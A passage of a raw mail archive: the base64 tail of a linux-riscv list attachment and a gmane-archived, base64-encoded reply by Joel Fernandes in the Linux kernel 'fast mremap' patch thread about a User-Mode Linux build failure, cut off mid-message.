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

--Nq2Wo0NMKNjxTN9z
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-riscv mailing list
linux-riscv@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-riscv

--Nq2Wo0NMKNjxTN9z--



From - Thu Nov 08 21:42:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH -next 0/3] Add support for fast mremap
Date: Sat, 3 Nov 2018 11:32:08 -0700
Lines: 88
Approved: news@gmane.org
Message-ID: <20181103183208.GA56850@google.com>
References: <20181103040041.7085-1-joelaf@google.com>
 <6886607.O3ZT5bM3Cy@blindfold>
 <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1541269826 10239 195.159.176.226 (3 Nov 2018 18:30:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Nov 2018 18:30:26 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 linux-ia64@vge.kvack.org, Yoshinori Sato <ysato@users.sourceforge.jp>,
 linux-xtensa@linux-xtensa.org, Richard Weinberger <richard@nod.at>,
 Helge Deller <deller@gmx.de>, r.kernel.org@lithops.sigma-star.at,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googleg
To: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sat Nov 03 19:30:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gJ0ga-0002P2-B8
	for gla-linux-snps-arc@m.gmane.org; Sat, 03 Nov 2018 19:30:16 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=LOMl9lOYiOkgYs6PCAjfsbEbYxi9216FfobAQKKQRSc=; b=pwNbPvPKPBXHHA
	dt0t319qD8OmjWWZ66Sz80o57kj4rTi+baXXVdDlK/59NMT2kRW9KuYk0WQ4gA7qQucorIl+Ptkl9
	M0nQzMvyGjr2SEvULEn2QNkMTd2mRHlaBhQb4FTqYp1FgXu7ck/3REfsSjRn4nN1dYvJGDjSHkCap
	tgKjCLe9zxOWepcZ/DHcosOoGqTxezJ1ZV4PPtf5x6LRm5jkAIBSvGJ77lSHgMfMiOQoYEGywl/nq
	fYa943SNTbXl7UWkj4q4s+YAaqlXmQeJbcS+GYEBrLN4kYbFT9UsLpSxdXPsPOWJPkKFSLQbVxk2x
	YSgFiNnXN2+M0Nj/trjw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gJ0if-0002pH-GE; Sat, 03 Nov 2018 18:32:25 +0000
Original-Received: from mail-pf1-x442.google.com ([2607:f8b0:4864:20::442])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gJ0ic-0002nw-Uy
 for linux-snps-arc@lists.infradead.org; Sat, 03 Nov 2018 18:32:24 +0000
Original-Received: by mail-pf1-x442.google.com with SMTP id j13-v6so2484307pff.11
 for <linux-snps-arc@lists.infradead.org>; Sat, 03 Nov 2018 11:32:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:content-transfer-encoding:in-reply-to
 :user-agent; bh=+lLPEfrVQ9C2llxSALOmcEKlDAWxZKsHsAd4XJOgi+8=;
 b=FV1Q0wDvKgkG4kZRj+VZtvFgfpLxegdKxvEOWdUoTsGuYYqOt63vQBXT1gkyiQdbAi
 svoRJLCKxf1oY5viw67ejDUpLUlGpXOV6p6fsqhz+scN/mBqlRF6BsiaYvQifD6XRBSl
 F1mKSr8VXjBVgcSHM1RqfBbz7rT2K+1dKDQgE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:content-transfer-encoding
 :in-reply-to:user-agent;
 bh=+lLPEfrVQ9C2llxSALOmcEKlDAWxZKsHsAd4XJOgi+8=;
 b=DsUbvpqBvcZ5jqhwwmDA8JOv+DImq/WQl0muFXlTvtFbEi9DP209Vd0RUKTDRHviz0
 yYvlwo88ZrBejqiCR0jcMZOsxWUvtTtCrKHY5JQ+9qNHnAPofX+OJoFadfNNN4VPKO3c
 61rB/qEkl7IfacKO3HZJVML735wtKZAFAT/ChmBw9/85FHT8iJa1Aqm+DQDMP3Vo3JOE
 tL/0EJdorXerQWYQ7j9e8CurS59pRVajL3PtsuzlFpeUyhP38jDCzdwIfowL2MEf7+LI
 K/X5JerCJWMq1grxo+7ymNzfiRWuOAO0846NwC6vtNNKE0aDAFHGDA0dEqNuuKlNWVOa
 Bw5Q==
X-Gm-Message-State: AGRZ1gIC9nxBsg7xsGEbd6WjA7BYs6s4dnY3DOe9gNnIdkGPhIZkf1s6
 vKT6ckTyoLllyjoCetFCSoOzDw==
X-Google-Smtp-Source: AJdET5cVGh+4UnJ6apMI+3/UlVSbVol0AIxVykI0yDHUDrs2IM14b8w2piyx1JVd0OmDbLiGVERHfA==
X-Received: by 2002:a63:94:: with SMTP id 142mr13240807pga.74.1541269931140;
 Sat, 03 Nov 2018 11:32:11 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id f22-v6sm46381558pff.29.2018.11.03.11.32.09
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sat, 03 Nov 2018 11:32:09 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <e1d039a5-9c83-b9b9-98b5-d39bc48f04e0@kot-begemot.co.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181103_113223_027857_5DD98B8B 
X-CRM114-Status: GOOD (  30.82  )
X-Spam-Score: -0.2 (/)
X-Spam-Report: SpamAssassin version 3.4.2 on bombadil.infradead.org summary:
 Content analysis details:   (-0.2 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/,
 no trust [2607:f8b0:4864:20:0:0:0:442 listed in]
 [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
 author's domain
 -0.1 DKIM_VALID_EF          Message has a valid DKIM or DK signature from
 envelope-from domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
 valid
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4693 gmane.linux.ports.mips.general:67294 gmane.linux.ports.sh.devel:57746 gmane.linux.kernel.mm:206343 gmane.linux.ports.sparc:28722 gmane.linux.ports.hexagon:2002 gmane.linux.ports.riscv:1357 gmane.comp.emulators.kvm.arm.devel:19669 gmane.linux.ports.parisc:29270 gmane.linux.kernel:2914693 gmane.linux.ports.alpha:5413 gmane.linux.ports.ppc64.devel:165216
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4693>

T24gU2F0LCBOb3YgMDMsIDIwMTggYXQgMDk6MjQ6MDVBTSArMDAwMCwgQW50b24gSXZhbm92IHdy
b3RlOgo+IE9uIDAzLzExLzIwMTggMDk6MTUsIFJpY2hhcmQgV2VpbmJlcmdlciB3cm90ZToKPiA+
IEpvZWwsCj4gPiAKPiA+IEFtIFNhbXN0YWcsIDMuIE5vdmVtYmVyIDIwMTgsIDA1OjAwOjM4IENF
VCBzY2hyaWViIEpvZWwgRmVybmFuZGVzOgo+ID4gPiBIaSwKPiA+ID4gSGVyZSBpcyB0aGUgbGF0
ZXN0ICJmYXN0IG1yZW1hcCIgc2VyaWVzLiBUaGlzIGp1c3QgYSByZXBvc3Qgd2l0aCBLaXJpbGwn
cwo+ID4gPiBBY2tlZC1ieXMgYWRkZWQuIEkgd291bGQgbGlrZSB0aGlzIHRvIGJlIGNvbnNpZGVy
ZWQgZm9yIGxpbnV4IC1uZXh0LiAgSSBhbHNvCj4gPiA+IGRyb3BwZWQgdGhlIENPTkZJRyBlbmFi
bGVtZW50IHBhdGNoIGZvciBhcm02NCBzaW5jZSBJIGFtIHlldCB0byB0ZXN0IGl0IHdpdGgKPiA+
ID4gdGhlIG5ldyBUTEIgZmx1c2hpbmcgY29kZSB0aGF0IGlzIGluIHZlcnkgcmVjZW50IGtlcm5l
bCByZWxlYXNlcy4gKE5vbmUgb2YgbXkKPiA+ID4gYXJtNjQgZGV2aWNlcyBydW4gbWFpbmxpbmUg
cmlnaHQgbm93Likgc28gSSB3aWxsIHBvc3QgdGhlIGFybTY0IGVuYWJsZW1lbnQgb25jZQo+ID4g
PiBJIGdldCB0byB0aGF0LiBUaGUgcGVyZm9ybWFuY2UgbnVtYmVycyBpbiB0aGUgc2VyaWVzIGFy
ZSBmb3IgeDg2Lgo+ID4gPiAKPiA+ID4gTGlzdCBvZiBwYXRjaGVzIGluIHNlcmllczoKPiA+ID4g
Cj4gPiA+ICgxKSBtbTogc2VsZWN0IEhBVkVfTU9WRV9QTUQgaW4geDg2IGZvciBmYXN0ZXIgbXJl
bWFwCj4gPiA+IAo+ID4gPiAoMikgbW06IHNwZWVkIHVwIG1yZW1hcCBieSAyMHggb24gbGFyZ2Ug
cmVnaW9ucyAodjQpCj4gPiA+IHYxLT52MjogQWRkZWQgc3VwcG9ydCBmb3IgcGVyLWFyY2ggZW5h
YmxlbWVudCAoS2lyaWxsIFNodXRlbW92KQo+ID4gPiB2Mi0+djM6IFVwZGF0ZWQgY29tbWl0IG1l
c3NhZ2UgdG8gc3RhdGUgdGhlIG9wdGltaXphdGlvbiBtYXkgYWxzbwo+ID4gPiAJcnVuIGZvciBu
b24tdGhwIHR5cGUgb2Ygc3lzdGVtcyAoRGFuaWVsIENvbCkuCj4gPiA+IHYzLT52NDogUmVtb3Zl
IHVzZWxlc3MgcG1kX2xvY2sgY2hlY2sgKEtpcmlsbCBTaHV0ZW1vdikKPiA+ID4gCVJlYmFzZWQg
b250b3Agb2YgTGludXMncyBtYXN0ZXIsIHVwZGF0ZWQgcGVyZiByZXN1bHRzIGJhc2VkCj4gPiA+
ICAgICAgICAgIG9uIHg4NiB0ZXN0aW5nLiBBZGRlZCBLaXJpbGwncyBBY2tzLgo+ID4gPiAKPiA+
ID4gKDMpIG1tOiB0cmVld2lkZTogcmVtb3ZlIHVudXNlZCBhZGRyZXNzIGFyZ3VtZW50IGZyb20g
cHRlX2FsbG9jIGZ1bmN0aW9ucyAodjIpCj4gPiA+IHYxLT52MjogZml4IGFyY2gvdW0vIHByb3Rv
dHlwZSB3aGljaCB3YXMgbWlzc2VkIGluIHYxIChBbnRvbiBJdmFub3YpCj4gPiA+ICAgICAgICAg
IHVwZGF0ZSBjaGFuZ2Vsb2cgd2l0aCBtYW51YWwgZml4dXBzIGZvciBtNjhrIGFuZCBtaWNyb2Js
YXplLgo+ID4gPiAKPiA+ID4gbm90IGluY2x1ZGVkIC0gKDQpIG1tOiBzZWxlY3QgSEFWRV9NT1ZF
X1BNRCBpbiBhcm02NCBmb3IgZmFzdGVyIG1yZW1hcAo+ID4gPiAgICAgIFRoaXMgcGF0Y2ggaXMg
ZHJvcHBlZCBzaW5jZSBsYXN0IHBvc3RpbmcgcGVuZGluZyBmdXJ0aGVyIHBlcmZvcm1hbmNlCj4g
PiA+ICAgICAgdGVzdGluZyBvbiBhcm02NCB3aXRoIG5ldyBUTEIgZ2F0aGVyIHVwZGF0ZXMuIFNl
ZSBub3RlcyBpbiBwYXRjaAo+ID4gPiAgICAgIHRpdGxlZCAibW06IHNwZWVkIHVwIG1yZW1hcCBi
eSA1MDB4IG9uIGxhcmdlIHJlZ2lvbnMiIGZvciBtb3JlCj4gPiA+ICAgICAgZGV0YWlscy4KPiA+
ID4gCj4gPiBUaGlzIGJyZWFrcyBVTUwgYnVpbGQ6Cj4gPiAgICBDQyAgICAgIG1tL21yZW1hcC5v
Cj4gPiBtbS9tcmVtYXAuYzogSW4gZnVuY3Rpb24g4oCYbW92ZV9ub3JtYWxfcG1k4oCZOgo+ID4g
bW0vbXJlbWFwLmM6MjI5OjI6IGVycm9yOiBpbXBsaWNpdCBkZWNsYXJhdGlvbiBvZiBmdW5jdGlv
biDigJhzZXRfcG1kX2F04oCZOyBkaWQgeW91IG1lYW4g4oCYc2V0X3B0ZV9hdOKAmT8gWy1XZXJy
b3I9aW1wbGljaXQtZnVuY3Rpb24tZGVjbGFyYXRpb25dCj4gPiAgICBzZXRfcG1kX2F0KG1tLCBu
ZXdfYWRkciwgbmV3X3BtZCwgcG1kKTsKPiA+ICAgIF5+fn5+fn5+fn4KPiA+ICAgIHNldF9wdGVf
YXQKPiA+ICAgIENDICAgICAgY3J5cHRvL3JuZy5vCj4gPiAgICBDQyAgICAgIGZzL2RpcmVjdC1p
by5vCj4gPiBjYzE6IHNvbWUgd2FybmluZ3MgYmVpbmcgdHJlYXRlZCBhcyBlcnJvcnMKPiA+IAo+
ID4gVG8gdGVzdCB5b3Vyc2VsZiwganVzdCBydW4gb24gYSB4ODYgYm94Ogo+ID4gJCBtYWtlIGRl
ZmNvbmZpZyBBUkNIPXVtCj4gPiAkIG1ha2UgbGludXggQVJDSD11bQo+ID4gCj4gPiBUaGFua3Ms
Cj4gPiAvL3JpY2hhcmQKPiA+IAo+ID4gCj4gPiAKPiAKPiBVTSBzb21laG93IG1hbmFnZWQgdG8g
bWlzcyBvbmUgb2YgdGhlIDMtbGV2ZWwgZnVuY3Rpb25zLCBJIHNlbnQgYSBwYXRjaCBhdAo+IHNv
bWUgcG9pbnQgdG8gYWRkIHRvIHRoZSBtbXJlbWFwIHNlcmllcywgYnV0IGl0IGxvb2tzIGxpa2Ug
aXQgZGlkIG5vdCBnZXQKPiBpbmNsdWRlZCBpbiB0aGUgZmluYWwgdmVyc2lvbi4KPiAKPiBZb3Ug
